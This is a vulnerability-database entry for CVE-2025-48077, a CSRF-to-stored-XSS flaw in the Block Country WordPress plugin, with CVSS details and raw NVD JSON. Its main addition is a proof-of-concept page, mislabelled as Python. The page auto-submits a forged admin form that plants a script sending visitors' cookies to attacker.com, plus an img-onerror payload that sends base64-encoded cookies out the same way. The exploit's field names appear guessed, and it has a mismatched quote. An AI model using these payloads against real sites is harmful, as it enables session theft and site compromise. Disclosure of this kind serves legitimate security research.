Security Vulnerability Report
中文
CVE-2025-48077 CVSS 7.1 HIGH

CVE-2025-48077

Published: 2025-11-06 16:15:52
Last Modified: 2026-04-27 20:16:06

Description

Cross-Site Request Forgery (CSRF) vulnerability in nitinmaurya12 Block Country block-country allows Stored XSS.This issue affects Block Country: from n/a through <= 1.0.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Block Country插件 <= 1.0.0(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-48077: Block Country Plugin CSRF to Stored XSS --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - Block Country Plugin</title> </head> <body> <h1>CSRF Attack PoC</h1> <p>This PoC demonstrates the CSRF vulnerability in Block Country plugin.</p> <!-- Auto-submit form to inject stored XSS payload --> <form id="attackForm" action="http://target-wordpress-site/wp-admin/admin.php?page=block-country" method="POST" enctype="multipart/form-data"> <!-- Inject malicious JavaScript payload --> <input type="hidden" name="block_country_settings" value='<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>’> <input type="hidden" name="submit" value="Save Changes"> </form> <script> // Automatically submit the form on page load document.getElementById('attackForm').submit(); // Alternative: XSS payload for stored XSS const xssPayload = "<img src=x onerror='fetch(\"https://attacker.com/log?data=\"+btoa(document.cookie))'>"; console.log("XSS Payload:", xssPayload); // Simulate the attack execution function executeAttack() { const form = document.createElement('form'); form.action = 'http://target-site/wp-admin/admin.php?page=block-country'; form.method = 'POST'; const input = document.createElement('input'); input.name = 'block_country_countries'; input.value = xssPayload; form.appendChild(input); document.body.appendChild(form); form.submit(); } // Attack will execute automatically when page loads console.log("CSRF Attack PoC Loaded - Form auto-submitted"); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48077", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:51.513", "lastModified": "2026-04-27T20:16:05.530", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in nitinmaurya12 Block Country block-country allows Stored XSS.This issue affects Block Country: from n/a through <= 1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/block-country/vulnerability/wordpress-block-country-plugin-1-0-cross-site-request-forgery-csrf-to-stored-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}